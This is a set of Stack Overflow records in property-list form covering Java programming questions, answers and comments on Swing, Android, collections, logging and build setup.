has comment: http://stackoverflow.com/comment/33841160
has comment: http://stackoverflow.com/comment/33841705
tagged with: java
tagged with: listeners
has answer: http://stackoverflow.com/a/22277159
type: Question
answer count: 2
score: -1
has body: I have not worked with button listeners hardly at all, and have been looking online for at least 3 hours trying to figure something out, I have resorted to asking for help here Can someone show me the best way to add an action to each button within my panel class. here is what I have so far. import java.awt.event.ActionListener; import java.util.ArrayList; import javax.swing.JButton; import javax.swing.JLabel; import javax.swing.JPanel; public class theClass extends JPanel implements ActionListener{ private JButton S, j ,O @Override public void actionPerformed(ActionEvent arg0) { } }
has comment: http://stackoverflow.com/comment/33841202
upvote count: 2
downvote count: 3
has title: Best way to set action listeners to many buttons

http://stackoverflow.com/q/22243801
favorite count: 0
type: UnansweredQuestion
tagged with: android
has body: Is there any way to get the linespacing of a TextView in Android? I try to find fontMetrics of the Paint of the TextView and do like this: tv1.getPaint().getFontMetrics(pfm); float fontTop = pfm.top; float fontBottom = pfm.bottom; System.out.println("Line Space &gt;&gt; " + (fontBottom - fontTop)); But it seems that result is the same until I change font size of the TextView. So how can I get the linespacing of a TextView?
upvote count: 4
score: 3
tagged with: java
has answer: http://stackoverflow.com/a/22244025
has answer: http://stackoverflow.com/a/22263645
has answer: http://stackoverflow.com/a/43384523
type: Question
has title: How to get linespacing of a TextView?
answer count: 3
downvote count: 1
tagged with: textview
tagged with: fontmetrics

http://stackoverflow.com/q/22284984
type: Question
tagged with: object
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/22285051
has body: I'm working on a project for shipping maps. I've created an object called Chart and an object called Pos for the position. What i can't get to work is that when i read te charts from a text file to create the object Pos correctly because that is where it fails. Now here is the Pos Class private Pos Pos; public Pos(int d, int m, int t){ Pos pos = new Pos(d,m,t); } Now here is the Chart class private String title; private String colorString; private String scale; private String edition; private Pos north; private Pos south; private Pos west; private Pos east; private Chart Chart; public Chart(Pos north, Pos south, Pos west, Pos east, String color, String scale, String edition, String title){ Chart = new Chart(north, south, west, east, color, scale, edition, title); } Now here is where i want the code to create charts. I've made a lot of small steps to make sure the output is correct: In in; String fileName = "charts.txt"; int aantalKaarten; int kolommen; String[][] tabel; int n1,n2,n3,s1,s2,s3,w1,w2,w3,e1,e2,e3; String color; String edition; String scale; String title; in = new In(fileName); aantalKaarten = in.readInt()+1; for(int i = 0;i &lt; aantalKaarten;i++){ try { n1 = in.readInt(); n2 = in.readInt(); n3 = in.readInt(); System.out.println("Noordelijke lengtegraad: " + n1 + ", " + n2 + ", " + n3); s1 = in.readInt(); s2 = in.readInt(); s3 = in.readInt(); System.out.println("Zuidelijke lengtegraad: " + s1 + ", " + s2 + ", " + s3); w1 = in.readInt(); w2 = in.readInt(); w3 = in.readInt(); System.out.println("westelijke breedtegraad: " + w1 + ", " + w2 + ", " + w3); e1 = in.readInt(); e2 = in.readInt(); e3 = in.readInt(); System.out.println("oostelijke breedtegraad: " + e1 + ", " + e2 + ", " + e3); color = in.readString(); System.out.println("De kleur van de kaart: " + color); edition = in.readString(); System.out.println("Editie: " + edition); scale = in.readString(); System.out.println("Schaal: " + scale); title = in.readLine(); System.out.println("Kaart: " + title);…
accepted answer: http://stackoverflow.com/a/22285051
possible better answer: http://stackoverflow.com/a/22285031
has comment: http://stackoverflow.com/comment/33855160
tagged with: stack-overflow
has answer: http://stackoverflow.com/a/22285031
has title: Java stackOverFlow error Objects aren't coded the right way
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33855145

http://stackoverflow.com/comment/33798341
score: 0
type: Comment
has text: One thing to realize when sending objects from server to clients, if you serialize only JDK class types, it'll work in the client side with little effort. However, if you serialize your own objects, the client needs your class definition for it to work. Imagine if you have many different clients connecting to your server, this would not be ideal.
comment on: http://stackoverflow.com/a/22253571
type: AnswerComment

http://stackoverflow.com/a/22200402
type: Answer
answers question: http://stackoverflow.com/q/22200319
score: 0
has body: You are calling Integer.parseInt("147j"); and 147j can't be parsed as Integer So you are getting NumberFormatException.

http://stackoverflow.com/comment/33792224
type: AnswerComment
comment on: http://stackoverflow.com/a/22250373
score: 0
type: Comment
has text: @user3092467: Well, you start by having it extend `Fragment` instead of `FragmentActivity`. To be honest, `MainActivity1` should not be a tab as presently written. `MainActivity1` does navigation within itself (first shows headlines, then replaces its own content with an article). That's fine, but that's not an appropriate flow for a tab. Show `HeadlinesFragment` in a tab, but then have a click launch another activity or otherwise replace the tabs. See https://www.youtube.com/watch?v=Sww4omntVjs&list=PLWz5rJ2EKKc8j2B95zGMb8muZvrIy-wcF&index=2 for a discussion of navigation and tabs.

http://stackoverflow.com/comment/33730099
type: QuestionComment
has text: Personally? I just use IntelliJ default [code style](https://www.jetbrains.com/idea/webhelp/configuring-code-style.html). It works well. I have no idea about jalopy capabilities but this question may be a good start: http://stackoverflow.com/questions/996646/stand-alone-java-code-formatter-beautifier-pretty-printer
comment on: http://stackoverflow.com/q/22213702
score: 0
type: Comment

http://stackoverflow.com/comment/33771710
comment on: http://stackoverflow.com/a/22238462
score: 0
type: AnswerComment
type: Comment
has text: sorry I am lost, we can assume the user enters valid information

http://stackoverflow.com/q/22300491
tagged with: java
has answer: http://stackoverflow.com/a/22301165
score: 4
upvote count: 4
tagged with: jtable
answer count: 2
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/43423616
type: Question
has body: model = new DefaultTableModel(data, columnNames) { @Override public String getColumnName(int col) { return (String) columnNames[col]; } }; table = new JTable(model); for (int tc=0; tc&lt;table.getColumnCount(); tc++) table.getColumn(tc).setCellRenderer(new TextAreaRenderer()); I need to access columns by column index. The following error occurs: Exception in thread "AWT-EventQueue-0" java.lang.IllegalArgumentException: Identifier not found at javax.swing.table.DefaultTableColumnModel.getColumnIndex(Unknown Source) at javax.swing.JTable.getColumn(Unknown Source)
has title: How to access columns by column index?

http://stackoverflow.com/comment/33886382
type: Comment
has text: I used `jvisualvm.exe --userdir "E:\VisualVM_userdir"` to change `userdir`. That would enable capturing Snapshot to `userdir`. Would it also save head dump in there?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22295237

http://stackoverflow.com/a/22326084
has body: In your main, where you are calling your AsyncTask, overwrite the onPostExecute method and put your adapter stuff in there. It gets called on the UI Thread, so it's save. So where you are calling the AsyncTask, do new FTPTeacher() { public void onPostExecute(List&lt;String&gt; list) { createfile_spinTeacher = (Spinner) findViewById(R.id.createfile_spinTeacher); final ArrayAdapter&lt;String&gt; dataAdapterTeacher = new ArrayAdapter&lt;String&gt;(this, android.R.layout.simple_spinner_item,list); dataAdapterTeacher.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); createfile_spinTeacher.setAdapter(dataAdapterTeacher); } }.execute();
answers question: http://stackoverflow.com/q/22325840
score: 0
type: Answer

http://stackoverflow.com/comment/33871968
type: Comment
has text: My curiosity is regarding the practice of some Java developers to create services like OrderService and OrderServiceImpl, every time for each Service.
comment on: http://stackoverflow.com/a/22288532
score: 0
type: AnswerComment

http://stackoverflow.com/a/22278091
score: 1
has comment: http://stackoverflow.com/comment/33890877
has comment: http://stackoverflow.com/comment/33896252
has body: The observable pattern (in the form of event listeners) is OK and is good practice. You see, even though RightPanel knows someone might be listening to all its events, it does not know who is listening. Well, technically, it could go through all its listeners and use reflection to find out who they are; now, that would be bad practice. As it is, RightPanel knows someone might be listening to it, and that's all. Components are always aware someone might be listening, since the whole Swing is based on it. What matters is that RightPanel compiles without LeftPanel (or frame), and is completely decoupled from it, except via the listener interface. Not only cool, but standard. As a side note, your class structure does not have to mirror your nesting panel hierarchy. Depending on what you are doing, it may be entirely fine to control behavior of both left and right panels from inner classes within Frame. (Personally, I'd use a JPanel, not a JFrame, since it allows for more flexibility, but this can be easily refactored). Otherwise, you risk splitting your View/Controller into too many closely coupled classes, and that would violate encapsulation and cause a lot of boilerplate code. Normally, I don't code big fat classes and try to refactor them into smaller ones; Swing is usually an exception. Better one big fat class than a maze of densely coupled classes. Unless of course you have a reusable component or some piece of functionality that can be clearly and intuitively decoupled; not just a couple of buttons or checkboxes that have no meaning in and of themselves. The simple fact that some subcomponents are situated within a certain panel in a component tree should not be a major factor IMHO. For that matter, I usually don't nest JPanels; I use MigLayout and make all components into siblings. Matter of taste! I'd just encourage you to check out MiGLayout first and see whether you like it.
has comment: http://stackoverflow.com/comment/33893982
accepted answer of: http://stackoverflow.com/q/22277938
has comment: http://stackoverflow.com/comment/33895231
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22277938
has comment: http://stackoverflow.com/comment/33868022
has comment: http://stackoverflow.com/comment/33895278
has comment: http://stackoverflow.com/comment/33895441
type: Answer
downvote count: 0

http://stackoverflow.com/a/22174363
answers question: http://stackoverflow.com/q/22174267
has comment: http://stackoverflow.com/comment/33655128
score: 0
has comment: http://stackoverflow.com/comment/33655379
has body: In your example it doesn't really matter. From the performance POV method 1. should be a tiny bit faster. If your foo() and bar() do more than that, it's worth to follow the 2nd approach
type: Answer
has comment: http://stackoverflow.com/comment/33655832

http://stackoverflow.com/q/22169429
upvote count: 0
has body: I've been trying to add this code to my project : public static void Save() throws HeadlessException, AWTException, IOException { Toolkit tk = Toolkit.getDefaultToolkit(); Dimension Dim = tk.getScreenSize(); Rectangle screenRect = new Rectangle(Dim); Robot r = new Robot(); BufferedImage screenCapturedImage = r.createScreenCapture(screenRect); DateFormat dateFormat = new SimpleDateFormat("yyyy MM dd HH:mm:ss"); Date date = new Date(); String FileName = dateFormat.format(date); ImageIO.write(screenCapturedImage, "png", new File("/home/caio/Desktop/"+FileName+".png")); } it gives me this error : Exception in thread "main" java.lang.RuntimeException: Uncompilable source code - Erroneous sym type: RoboCore.Print.Save at Core.Start.main(Start.java:23) Java Result: 1 I want to call this method to print the results on my screen, but this code won't work because it's not a main method, it seems very strange to me...
linked to: http://stackoverflow.com/q/16767950
has comment: http://stackoverflow.com/comment/33646226
has answer: http://stackoverflow.com/a/22169747
answer count: 3
possible better answer: http://stackoverflow.com/a/22169649
has comment: http://stackoverflow.com/comment/33647060
score: -2
has answer: http://stackoverflow.com/a/22169649
has comment: http://stackoverflow.com/comment/33646526
has title: PrintScreen in java only working when main?
has comment: http://stackoverflow.com/comment/33646264
favorite count: 0
has comment: http://stackoverflow.com/comment/33646380
has comment: http://stackoverflow.com/comment/33646341
type: AnsweredQuestion
tagged with: screenshot
downvote count: 2
tagged with: javax.imageio
accepted answer: http://stackoverflow.com/a/22169747
type: Question
has answer: http://stackoverflow.com/a/22169968
tagged with: java
has comment: http://stackoverflow.com/comment/33646589
has comment: http://stackoverflow.com/comment/33646227
has comment: http://stackoverflow.com/comment/33646447

http://stackoverflow.com/comment/33924495
type: AnswerComment
has text: Thanks for the info. I will try it out and share the code if I see any improvement
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22319246

http://stackoverflow.com/comment/33657413
comment on: http://stackoverflow.com/q/22175335
score: 0
type: QuestionComment
has text: I want to compare multiple elements (int specifically) in an array to see if they're equivalent. I guess creating a separate method would be best, since it will reduce a lot of clutter. As for the array being empty, I think I can assume that the array won't be empty for the sake of the assignment.
type: Comment

http://stackoverflow.com/q/22174697
has title: Display not null values in query in jsp
tagged with: jsp
has answer: http://stackoverflow.com/a/22176999
score: 0
type: UnansweredQuestion
has body: In this portion of the code: try { connection = DriverManager.getConnection( connectionUrl + dbName, userId, password); statement = connection.createStatement(); String sql = "SELECT text_pub, path_photo FROM publication,publier, consomateur WHERE publication.id_publication=publier.publication_id_publication AND publier.users_id_user=consomateur.code_bar AND consomateur.code_bar = "+idUser+" AND 'path_photo' IS NOT NULL AND 'text_pub' IS NOT NULL"; resultSet = statement.executeQuery(sql); while (resultSet.next()) { %&gt; &lt;tr bgcolor="#8FBC8F"&gt; &lt;td&gt;&lt;%=resultSet.getString("text_pub")%&gt;&lt;/td&gt; &lt;img src="images/&lt;%=resultSet.getString("path_photo")%&gt;" width="150" height="130"&gt;&lt;/td&gt; &lt;%} %&gt; I'm trying to select two values from my table, some of the values can be null, for example I can have a value for my column text_pub and not have a value in my column path_photo and vice versa, so in case I have text_pub and don't have path_photo, I want to display only the text_pub, but the probleme is that the value of text_pub is displayed but also the value of path_photo which is null. PS: I know that treatements like these are better done in servlets, but I really want to make it work in a jsp. Thank you.
tagged with: java
tagged with: mysql
has answer: http://stackoverflow.com/a/22174776
type: Question
answer count: 2

http://stackoverflow.com/comment/33904221
type: Comment
comment on: http://stackoverflow.com/a/22311570
has text: Made this: `public String toString() { String phoneBookString = ""; for(Contact contact : list) { phoneBookString += contact.toString() + "\n"; } return phoneBookString; }`
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33906724
comment on: http://stackoverflow.com/a/22313310
type: AnswerComment
score: 0
type: Comment
has text: two completely independent GUI added to same EDT will not cross-talk with each other right?

http://stackoverflow.com/q/22262847
has answer: http://stackoverflow.com/a/22262939
type: AnsweredQuestion
score: 3
upvote count: 3
tagged with: java
possible better answer: http://stackoverflow.com/a/22262939
has title: Why an instance of inherited class can't access to protected member of base class in different package
has answer: http://stackoverflow.com/a/22262929
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/22262980
accepted answer: http://stackoverflow.com/a/22262929
favorite count: 0
has answer: http://stackoverflow.com/a/22263069
has comment: http://stackoverflow.com/comment/33815859
has body: I have 3 class A, B, C : package com.training.protectedclass.A; public class A { protected int value; } package com.training.protectedclass.B; import com.training.protectedclass.A.A; public class B extends A { public void test() { this.value = 10; A a = new A(); a.value = 12; //Error =&gt; The field A.value is not visible } } package com.training.protectedclass.C; import com.training.protectedclass.B.B; import com.training.protectedclass.A.A; public class C extends A { public void test() { B b = new B(); b.value = 45; //Error =&gt; The field A.value is not visible } } When the inherited class exists in different package than the base class, it can't access the protected member of base class. But when all the three class exist in the same package the above errors disappear and the code is compiled without errors. Can anyone explain me the cause of each error launched in my code above? Thanks :)
answer count: 4

http://stackoverflow.com/q/22197768
type: Question
has comment: http://stackoverflow.com/comment/33696822
has comment: http://stackoverflow.com/comment/33696785
has comment: http://stackoverflow.com/comment/33696747
has answer: http://stackoverflow.com/a/22197912
has comment: http://stackoverflow.com/comment/33696688
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/69353585
has title: How to set swing threads as daemon?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33696779
tagged with: java
tagged with: multithreading
tagged with: swing
has body: Is there any solution to set the swing's threads as daemon? Considering a application which starts a copying operation, meanwhile shows the process by a jframe, so I want to set the swing ui thread as daemon, in order to jvm kills the thread once the copying thread gets terminated.

http://stackoverflow.com/a/22217283
has body: String splitString = "122$23$56$rt"; for(int i=0;i&lt;splitString.length;i++){ System.out.println("Now you GOT this :: "+split(Pattern.quote("$"))); } There are 12 characters with special meanings: the backslash \, the caret ^, the dollar sign $, the period or dot ., the vertical bar or pipe symbol |, the question mark ?, the asterisk or star *, the plus sign +, the opening parenthesis (, the closing parenthesis ), and the opening square bracket [, the opening curly brace {, These special characters are often called "metacharacters". So your $ is also metacharacter as defination says so you can't split using simple function. Though you must use pattern in this case. Thanks..
type: Answer
answers question: http://stackoverflow.com/q/22217176
has comment: http://stackoverflow.com/comment/33732528
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/33732316
downvote count: 0

http://stackoverflow.com/a/22323075
has body: Create a FileOutputStream to the properties file and modify the property by using Properties.setProperty(PROPERTY_NAME,PROPERTY_VALUE) and then call store(out,null) on Properties instance FileOutputStream out = new FileOutputStream("config.properties"); props.setProperty("ausphur", "no"); props.store(out, null); out.close(); This will help! Update: There is no way to keep your comments back since Properties doesn't know about it. If you use java.util.Properties, it is a subclass of Hashtable which doesn't preserve the order of the keys and values the way they are inserted. What you can do is, you can go for LinkedHashMap collection with your own implementation of Properties datastore. But, you have to read the properties from file yourself and put it in LinkedHashMap. To Note, LinkedHashMap preserves the order in which keys are values are put. so, you can iterate the keyset and update the properties file in the same order back. Thus, the order can be preserved
type: Answer
has comment: http://stackoverflow.com/comment/69419113
has comment: http://stackoverflow.com/comment/34002675
has comment: http://stackoverflow.com/comment/34003131
has comment: http://stackoverflow.com/comment/34008612
has comment: http://stackoverflow.com/comment/34018191
has comment: http://stackoverflow.com/comment/34003802
accepted answer of: http://stackoverflow.com/q/22322890
has comment: http://stackoverflow.com/comment/34010646
answers question: http://stackoverflow.com/q/22322890
score: 0
has comment: http://stackoverflow.com/comment/34015045
type: AcceptedAnswer

http://stackoverflow.com/q/22206086
has body: When I run my application using the Maven-generated packages, the logs appear fine as per the log4j.xml. The log4j.xml file is located in the same location where the pom.xml is so I think the build picks it up and locates it properly for the runtime. However, sometimes I like to run the app out of the IDE for debugging (IntelliJ IDEA) and the IDE picks up the Maven config seamlessly without any additional tweaking. One problem is that it never logs anything nor does it throw any exceptions upon logger.info("...") and such. Can you take a guess what I can do to keep log writes on when in the debug mode? Below is the log4j.xml. I tried changing the fileName attribute to a fully qualified path but it didn't work. E.g. is it possible to ask the Logger into which physical file it is writing entries? <?xml version="1.0" encoding="UTF-8"?> <PatternLayout pattern="[%-6p]:[%d{ISO8601}]:[%t]:[%c{2}]:%m%n"/> <ThresholdFilter level="debug"/> <AppenderRef ref="File"/>
has answer: http://stackoverflow.com/a/22206244
has answer: http://stackoverflow.com/a/22223677
has title: Log not initiated when running app in IntelliJ
type: UnansweredQuestion
tagged with: log4j
type: Question
tagged with: java
tagged with: slf4j
score: 0
answer count: 2
tagged with: intellij-idea

http://stackoverflow.com/comment/33675251
score: 0
type: Comment
has text: fge, so keys in a map could have been an array but are a Set to keep the compatibility? I may be biased but Sets has the disadvantage that they're not indexed.
comment on: http://stackoverflow.com/a/22184548
type: AnswerComment

http://stackoverflow.com/comment/33782745
score: 0
type: Comment
type: QuestionComment
has text: Check my answer and let me know if it works for you.
comment on: http://stackoverflow.com/q/22244320

http://stackoverflow.com/q/22292622
has body: I have a homework about HashMaps and I'm supposed to use the following tester class, but I get a mistake in 2 lines: for( Map.Entry entry : salaries ) and HashMap accounts = new HashMap&lt;>(new CaseInsensitive()); I'm using eclipse btw import java.util.HashMap; import java.util.List; import java.util.LinkedList; import java.util.Map; public class Assignment { class CaseInsensitive implements HashingFunction&lt;String&gt; { public int hashCode( String key ) { return key.toLowerCase().hashCode(); } public boolean equals( String lhs, String rhs ) { return lhs.equalsIgnoreCase(rhs); } } void test1() { System.out.println("Test 1:"); HashMap&lt;String, Double&gt; salaries = new HashMap&lt;&gt;(); // test #1a: verify that identical keys allow the same map entry to be replaced. salaries.put( "1000", 55000.0 ); salaries.put( "1000", 45000.0 ); System.out.println( "New value is " + salaries.get("1000")); // test #1b: add several items and display the map as a string salaries.put( "1234", 25000.0 ); salaries.put( "2001", 43000.0 ); salaries.put( "2010", 67000.0 ); salaries.put( "2020", 37000.0 ); salaries.put( "3010", 57000.0 ); salaries.put( "3020", 87000.0 ); // test #1c: test the size and toString operations System.out.println("\nPrinting with toString():"); System.out.println( salaries.toString() ); System.out.printf("Size = %d\n", salaries.size() ); // test #1c: use the iterator System.out.println("\nPrinting with an iterator loop"); for( Map.Entry&lt;String, Double&gt; entry : salaries ) { System.out.print( entry.toString() + " " ); } System.out.println(); } void test2() { // test 2a: Implement a custom hashing function that ignores case differences System.out.println("\nTest 2:"); HashMap&lt;String, Double&gt; accounts = new HashMap&lt;&gt;(new CaseInsensitive()); accounts.put( "AbCDef", 45000.0 ); accounts.put( "abcdEF", 25000.0 ); // final value accounts.put( "aabCDE", 43000.0 ); accounts.put( "AABcde", 67000.0 ); // final value accounts.put( "BDDEfg", 37000.0 ); acc…
has title: How to Make a HashMap Key Case Insentive?
favorite count: 0
tagged with: hash
type: UnansweredQuestion
tagged with: hashtable
has comment: http://stackoverflow.com/comment/33869116
has answer: http://stackoverflow.com/a/22292764
has comment: http://stackoverflow.com/comment/33869082
tagged with: java
has comment: http://stackoverflow.com/comment/33869239
type: Question
tagged with: hashmap
tagged with: hashcode
score: 0
upvote count: 1
answer count: 1
downvote count: 1

http://stackoverflow.com/q/22302199
favorite count: 0
linked to: http://stackoverflow.com/q/14061450
accepted answer: http://stackoverflow.com/a/22302711
has answer: http://stackoverflow.com/a/22324898
tagged with: filefilter
type: AnsweredQuestion
score: 1
tagged with: java
upvote count: 1
tagged with: jfilechooser
type: Question
possible better answer: http://stackoverflow.com/a/22303093
has answer: http://stackoverflow.com/a/22303093
has body: I am trying to create a FileFilter that will only allow the user to open a directory that contains a certain file. The use case is that these directories are workspaces that have a file called smart.workspace inside. Currently my filter is as follows... class SMARTWorkspaceFilter extends javax.swing.filechooser.FileFilter { String description = "SMART Workspace"; String fileNameFilter = "smart.workspace"; SMARTWorkspaceFilter() { } @Override public boolean accept(File file) { log.debug("Testing file: " + file.getName()); if (file.isFile()) { return false; } if (file.isDirectory()) { File[] files = file.listFiles(); for (File f : files) { log.debug("Directory: " + f.isDirectory()); log.debug("Name: " + f.getName()); if (f.isDirectory()) { return true; } if (f.getName().equals(fileNameFilter)) { return true; } } } return false; } @Override public String getDescription() { return description; } } Obviously my problem is that to allow the user to navigate to the workspace folder I have to allow for sub directories. For the file chooser I am using the option DIRECTORIES_ONLY. Is it possible to only allow the user to select a directory based on the directories contents? For example the directory 'workspace' exists at C://Folder1/Folder2/wokspace, I would want to allow the FileChooser to 'start' at C:// and allow the user to navigate to the 'workspace' folder and accept it. The FileChooser shouldn't allow the acceptance of Folder1 or Folder2 but still allow the navigation through Folder1 and Folder2.
downvote count: 0
answer count: 3
has title: Java FileFilter to select certain directories
has answer: http://stackoverflow.com/a/22302711

http://stackoverflow.com/comment/113033504
score: 0
has text: Removing the PATH is a bad idea... Adding to it is a better idea.
type: AnswerComment
comment on: http://stackoverflow.com/a/63918463
type: Comment

http://stackoverflow.com/comment/33766542
has text: @user3207391 Please mark an answer as the solution if it solves your problem.
type: Comment
comment on: http://stackoverflow.com/q/22212158
score: 0
type: QuestionComment

http://stackoverflow.com/q/22231489
has title: Eclipse, Tomcat, Maven, Spring MVC, Mongo (and insanity)
type: UnansweredQuestion
tagged with: maven
tagged with: spring
has answer: http://stackoverflow.com/a/24044816
tagged with: java
tagged with: eclipse
has body: I've been trying to get a completely bare-bones Eclipse project running under Tomcat (launched by Eclipse) that makes use of Maven, Spring MVC, and Mongo. I have read several articles and attempted the tutorials I have found however, something has always caused an exception and the exercise comes to naught. I have spent quite some time going over my options and attempting to put this project together and my latest attempt was to create a maven-archtype-webapp from inside Eclipse. After I've created the project, I set it up to run under Tomcat 7. Then I modify my pom file to add Spring MVC and Mongo DB functionality: 4.0.0 test springTest war 0.0.1-SNAPSHOT springTest Maven Webapp http://maven.apache.org <spring.version>3.2.3.RELEASE</spring.version> <jdk.version>1.6</jdk.version> <spring-mongo.version>1.2.2.RELEASE</spring-mongo.version> org.springframework spring-core ${spring.version} org.springframework spring-web ${spring.version} org.springframework spring-webmvc ${spring.version} org.springframework.data spring-data-mongodb ${spring-mongo.version} junit junit 3.8.1 test springTest org.apache.tomcat.maven tomcat7-maven-plugin 2.1 http://localhost:8080/manager/text my-tomcat /SampleSpringMaven org.apache.maven.plugins maven-compiler-plugin 3.0 ${jdk.version} ${jdk.version} As far as code, the app only has 3 classes: springTest.model.Person, and springTest.service.PersonService, and springTest.controller.PersonController. Here's the code for each: package springTest.model; import org.springframework.data.annotation.Id; import org.springframework.data.mongodb.core.mapping.Document; @Document public class Person { @Id private String id; private String name; public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } package springTest.service; import java.util.List; import java.util.UUID; import org.springframework.beans.factory.annotation.Autow…
type: Question
has comment: http://stackoverflow.com/comment/33757546
tagged with: mongodb
score: 5
upvote count: 5
answer count: 1
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33764533

http://stackoverflow.com/a/22266064
answers question: http://stackoverflow.com/q/22266020
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: It's easy, your method monthString() returns a... String: public String monthString(int monthNumber) So, you have to return a String, and not an int, so you can't return 0. If your method was returning an int, you could return 0. But, in your case, you should maybe throw an exception instead of returning "Error" and using System.exit() like that: public String monthString(int monthNumber) throws IllegalArgumentException { and throw it: default: System.out.println("Fatal Error"); throw new IllegalArgumentException("Incorrect month number"); Or even better, you can directly use what is provided by Java to implement your function: public static String monthString(final int monthNumber) { final Calendar c = Calendar.getInstance(); c.set(Calendar.MONTH, monthNumber-1); return c.getDisplayName(Calendar.MONTH, Calendar.LONG, Locale.ENGLISH); }

http://stackoverflow.com/q/22242847
type: Question
tagged with: swingx
has comment: http://stackoverflow.com/comment/33779160
linked to: http://stackoverflow.com/q/7229226
score: 0
has title: re-size Jpanel dynamically when different value selected in combo box
has comment: http://stackoverflow.com/comment/33778945
has body: I have a issue in the Panel alignment. My project is in Netbeans Platform Application, so by default window will be created. Below is what i have done: I have created a window and when i select a string, a button will be enabled and clicking on that button a pop-up window appears. The popup id divided into 3 panels: ---&gt; 1 st - with a labels and text box ---&gt; 2nd - with a card layout where the layout changes based upon the combo box selection from the first panel. ---&gt; 3rd panel - here i have 2 buttons. Now i want the buttons to get adjusted when i cardlayout size decreases and increases. Eg: when the size of the card layout is more it go down if less it should come up. i have tried the Auto Vertical re-sizable option in Netbeans but it isn't working properly.
tagged with: netbeans
tagged with: netbeans-platform
type: UnansweredQuestion
tagged with: swing
has comment: http://stackoverflow.com/comment/33779102
answer count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33778971
has comment: http://stackoverflow.com/comment/33778981
has comment: http://stackoverflow.com/comment/33779284

http://stackoverflow.com/a/22290547
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22290406
answers question: http://stackoverflow.com/q/22290406
score: 1
upvote count: 1
type: AcceptedAnswer
has body: You can do it like that: public static void main(String[] args) { final String className = "com.my.package." + args[0]; try { Class&lt;?&gt; clazz = Class.forName(className); Method method = clazz.getMethod("say"); Object object = clazz.newInstance(); method.invoke(object); } catch (ClassNotFoundException e) { System.err.println("Error: No such class exists"); } catch (SecurityException e) { System.err.println("Error: You are not allowed to do that"); } catch (NoSuchMethodException e) { System.err.println("Error: No such method exists"); } catch (InstantiationException e) { System.err.println("Error: Unable to instantiate"); } catch (IllegalAccessException e) { System.err.println("Error: No access to class definition"); } catch (IllegalArgumentException e) { System.err.println("Error: Illegal argument"); } catch (InvocationTargetException e) { System.err.println("Error: Bad target"); } } Note: as your say() method is static, you can replace: Object object = clazz.newInstance(); method.invoke(object); by: method.invoke(null);
type: Answer

http://stackoverflow.com/a/22303737
score: 5
accepted answer of: http://stackoverflow.com/q/22303659
upvote count: 5
type: AcceptedAnswer
downvote count: 0
has body: You haven't initialized the txtDate EtidText. txtDate = (EditText) findViewById(R.id.txtDate);// or what ever you add the id for txtDate Then you will be fine.
type: Answer
answers question: http://stackoverflow.com/q/22303659
has comment: http://stackoverflow.com/comment/33889080

http://stackoverflow.com/comment/33911840
has text: writer.write(baos.toString()); `toString` conversion will corrupt your byte stream.
comment on: http://stackoverflow.com/a/22245106
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33850812
type: Comment
has text: If your code crashes on `listview` then it can't possible further after that line...so, `listview` and `databaseobj` isn't null...the `noSavedMsg` is null and application is crashing in this line.
comment on: http://stackoverflow.com/a/22281194
type: AnswerComment
score: 0

http://stackoverflow.com/q/22226715
tagged with: java
has title: Java and XML : hack to avoid back-compatibility
tagged with: dom
type: Question
tagged with: w3c
has answer: http://stackoverflow.com/a/22226950
score: 0
answer count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22228789
tagged with: http://stackoverflow.com/tag/xml
has body: Is there an XML keyword that is interpreted by default as "end of XML" or similar (can be crash) but who can also be identified and ignored, this in w3c.dom standard? Why? I have added some functionalities to an existing program. These functionalities do add information to an XML source file representing a project. The additional data are ignored by an old version of the program. The problem is that if they open a project with an old version and save it, the additional information will disappear. What I want to do, is ensure a new source file cannot be opened by an old version of the program. Thanks!
has answer: http://stackoverflow.com/a/22226863

http://stackoverflow.com/a/29174752
has body: Various MySQL installs push an entry into your PATH environment variable like: C:\Program Files\MySQL\MySQL Enterprise Backup 3.11\;"C:\Program Files (x86)\MySQL\MySQL Fabric 1.5.3 &amp; MySQL Utilities 1.5.3 1.5\";C:\Program Files (x86)\MySQL\MySQL Server 5.6\bin; Yours could be different depending upon which MySQL components you installed. The exact sequence of spaces and quotes can be a problem when the "set" command is called to start a window. If you don't need the MySQL binaries in your PATH you could pull all of that out. If you do need it, they experiment with the location of quotes and even installation directories so that the problem goes away.
has comment: http://stackoverflow.com/comment/74181147
has comment: http://stackoverflow.com/comment/46567567
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22279365
score: 3
upvote count: 3

http://stackoverflow.com/comment/33764029
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22234451
has text: Eddited my answer accordingly, it should appear. Do you have any Error message ? If a black screen appears, then you're just missing a layout.
score: 0

http://stackoverflow.com/comment/33916564
comment on: http://stackoverflow.com/q/22315239
score: 0
type: QuestionComment
type: Comment
has text: I have no idea where it was a mistake. I used Shared Preferences and for now works properly.

gquery
type: Tag
tag name: gquery
tags question: http://stackoverflow.com/q/22216459

http://stackoverflow.com/comment/33772797
score: 0
type: AnswerComment
type: Comment
has text: You can definitely run Apache on the pi. Let's put it this way...Anything you can do on a regular machine running linux - you can pretty much do on a pi.
comment on: http://stackoverflow.com/a/22209507

http://stackoverflow.com/q/22201227
tagged with: swing
has comment: http://stackoverflow.com/comment/33703288
has answer: http://stackoverflow.com/a/22203543
linked to: http://stackoverflow.com/q/15147016
type: Question
has answer: http://stackoverflow.com/a/22201416
tagged with: java
has comment: http://stackoverflow.com/comment/33703421
has title: Java Swing: select text cross multiple textareas
score: 4
upvote count: 4
